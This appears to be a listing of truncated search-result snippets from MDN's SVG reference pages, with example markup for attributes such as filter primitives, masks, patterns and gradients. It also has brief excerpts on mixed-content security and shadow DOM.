url(#gradient2)" style="transform: translatex(220px);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation from the gradient coordinate system ont...
id - SVG: Scalable Vector Graphics
alue none animatable no <id> specifies the element's id. the id must be unique within the node tree, must not be an empty string, and must not contain any whitespace characters. note: you should avoid the use of id values that would be parsed as an svg view specification (e.g., mydrawing.svg#svgview(viewbox(0,200,1000,1000))) or a basic media fragment when used as a
url target fragment. it must be valid in xml documents. a stand-alone svg document uses xml 1.0 syntax, which specifies that valid ids only include designated characters (letters, digits, and a few punctuation marks), and do not start with a digit, a full stop (.) character, or a hyphen-minus (-) character. specifications specification status comment scalable ve...
intercept - SVG: Scalable Vector Graphics
ype="linear" intercept="0"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0.3"/> <fefuncg type="linear" intercept="0.1"/> <fefuncb type="linear" intercept="0.8"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment fi...
k1 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k2 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k3 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k4 - SVG: Scalable Vector Graphics
"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
kernelMatrix - SVG: Scalable Vector Graphics
id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <list of numbers> default value none animatable yes <list of numbers> the list of <number>s that make up the kernel ma...
lighting-color - SVG: Scalable Vector Graphics
"sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in tha...
limitingConeAngle - SVG: Scalable Vector Graphics
ointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="40" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specific...
marker-end - SVG: Scalable Vector Graphics
<marker-ref> this value is a reference to a <marker> element, which will be drawn at the final vertex. if the reference is not valid, then no marker will be drawn. specification...
marker-mid - SVG: Scalable Vector Graphics
<marker-ref> this value is a reference to a <marker> element, which will be drawn at the given vertices. if the reference is not valid, then no marker will be drawn. specificati...
marker-start - SVG: Scalable Vector Graphics
<marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex. if the reference is not valid, then no marker will be drawn. specification...
mask - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <...
maskContentUnits - SVG: Scalable Vector Graphics
te" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="
url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="
url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskcontentunits defines the coordinate system in use for the content of the element. ...
maskUnits - SVG: Scalable Vector Graphics
ite" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="
url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="
url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskunits defines the coordinate system in use for the geometry attributes (x, y, widt...
orient - SVG: Scalable Vector Graphics
erheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="
url(#arrow)" marker-end="
url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="
url(#dataarrow)" marker-mid="
url(#dataarrow)" marker-end="
url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto ...
patternContentUnits - SVG: Scalable Vector Graphics
the bounding box of the target element. note that the size of the tile is also computed against the bounding box of the target element --> <pattern id="p2" width="20%" height="20%" patterncontentunits="objectboundingbox"> <circle cx=".1" cy=".1" r=".1" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10" width="80" height="80" fill="
url(#p1)" /> <!-- right square with bounding box tiles --> <rect x="110" y="10" width="80" height="80" fill="
url(#p2)" /> </svg> pattern for <pattern>, patterncontentunits defines the coordinate system in use for the content of the element. value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonu...
patternTransform - SVG: Scalable Vector Graphics
note: as of svg2, it is also allowed to use the css transform property. however, the current state of implementation isn't very good. for backward compatibility reason, it is highly suggested to keep using the patterntransform attribute. value <tra...
preserveAlpha - SVG: Scalable Vector Graphics
" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true this value indicates that the convolution will only apply to the co...
specularConstant - SVG: Scalable Vector Graphics
cegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstan...
stdDeviation - SVG: Scalable Vector Graphics
iewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur3); transform: translatex(280px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numb...
tableValues - SVG: Scalable Vector Graphics
able" tablevalues="0 1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="1 0"/> <fefuncg type="table" tablevalues="1 0"/> <fefuncb type="table" tablevalues="1 0"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes <list-of-numbers> this ...
x1 - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status commen...
x2 - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status commen...
xChannelSelector - SVG: Scalable Vector Graphics
sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="
url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="
url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels o...
yChannelSelector - SVG: Scalable Vector Graphics
sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="
url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="
url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels o...
<filter> - SVG: Scalable Vector Graphics
height filterres filterunits primitiveunits xlink:href dom interface this element implements the svgfilterelement interface. example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="
url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification. working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<filter>' in that specification. recommendation initial definition ...
<hatch> - SVG: Scalable Vector Graphics
y pitch rotate hatchunits hatchcontentunits transform href dom interface this element implements the svghatchelement interface. example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="
url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<hatchpath> - SVG: Scalable Vector Graphics
ributes style attributes specific attributes d offset dom interface this element implements the svghatchpathelement interface. example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="
url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<mask> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 120%; animatable: yes maskcontentunits this attribute defines the coordinate system for the contents of the <mask>. value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; animatable: yes maskunits this attribute defines defines the...
<stop> - SVG: Scalable Vector Graphics
value type: <number>|<percentage>; default value: 0; animatable: yes stop-color this attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-o...
<textPath> - SVG: Scalable Vector Graphics
000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg> attributes href the
url to the path or basic shape on which to render the text. if the path attribute is set, href has no effect. value type: <
url> ; default value: none; animatable: yes lengthadjust where length adjustment should be applied to the text: the space between glyphs, or both the space and the glyphs themselves. value type: spacing|spacingandglyphs; default value: spacing; animatable: yes method which ...
<view> - SVG: Scalable Vector Graphics
zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:
url(#gradient)"/> <view id="halfsizeview" viewbox="0 0 1200 400"/> <view id="normalsizeview" viewbox="0 0 600 200"/> <view id="doublesizeview" viewbox="0 0 300 100"/> <a xlink:href="#halfsizeview"> <text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsizeview"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesizeview">...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
implicit box transformation to show nearest ancestor <svg> element implementation status unknown unspecified svg view fragment parameters don't cause corresponding attributes to be reset to initial values implementation status unknown viewtarget attribute of <view> and corresponding svg view fragment parameter removed implementation status unknown fragment-only
urls are always same-document implementation status unknown additional attributes on <a> implemented (bug 1451823) scripting change notes contentscripttype removed implementation status unknown animationevents.onload removed implementation status unknown fonts change notes <font>, <glyph>, <missing-glyph>,...
Filter effects - SVG: Scalable Vector Graphics
alpha" operator="in" result="specout"/> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0" result="litpaint"/> <!-- merge offsetblur + litpaint --> <femerge> <femergenode in="offsetblur"/> <femergenode in="litpaint"/> </femerge> </filter> </defs> <!-- graphic elements --> <g filter="
url(#myfilter)"> <path fill="none" stroke="#d90000" stroke-width="10" d="m50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" /> <path fill="#d90000" d="m60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" /> <g fill="#ffffff" stroke="black" font-size="45" font-family="verdana" > <text x="52" y="52">svg</text> </g> </g> </svg> step 1 <fegaus...
Getting started - SVG: Scalable Vector Graphics
servers should send the http headers: content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should send the http headers: content-type: image/svg+xml content-encoding: gzip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc. submit the
url of one of your svg files and look at the http response headers. if you find that your server is not sending the headers with the values given above, then you should contact your web host. if you have problems convincing them to correctly configure their servers for svg, there may be ways to do it yourself. see the server configuration page on the w3.org for a range of simple solutions. server mi...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
ment the desired effect. one of these primitives is the fegaussianblur. the keyword sourcealpha identifies the input for this primitive, is in this case input 'in'. the amount of blur to be applied is done using the stddeviation attribute. svg filter example <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3"/> </filter> </defs> <g id="ghost" style="filter:
url(#drop-shadow);"/> <!--ghost drawing in here--> </g> this above example will not produced the desired output. instead we need to add more filter primitives which will produce the desire rendering. by adding feoffset and result, the effect layer is defined <result> attribute is a reference that can be use later. it is quite different to an xml id and only can be referenced within the actual fil...
SVG fonts - SVG: Scalable Vector Graphics
ont> <text font-family="super sans">my text uses super sans</text> however, you are free to combine several methods for great freedom of how and where to define the font. ...
Mixed content - Web security
acker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <
url> value is used (@font-face, cursor, background-image, and so forth). <object> (data attribute) navigator.sendbeacon (
url attribute) other resource types like web fonts and workers may be considered active mixed content, as they are in chrome. warnings in web console the firefox web console displays a mixed content warning message in the net pane when a page on your website has this issue. t...
Using shadow DOM - Web Components
lement('span'); wrapper.setattribute('class', 'wrapper'); let icon = document.createelement('span'); icon.setattribute('class', 'icon'); icon.setattribute('tabindex', 0); let info = document.createelement('span'); info.setattribute('class', 'info'); // take attribute content and put it inside the info span let text = this.getattribute('data-text'); info.textcontent = text; // insert icon let img
url; if(this.hasattribute('img')) { img
url = this.getattribute('img'); } else { img
url = 'img/default.png'; } let img = document.createelement('img'); img.src = img
url; icon.appendchild(img); styling the shadow dom after that we create a <style> element and populate it with some css to style it: // create some css to apply to the shadow dom let style = document.createelement('style'); style.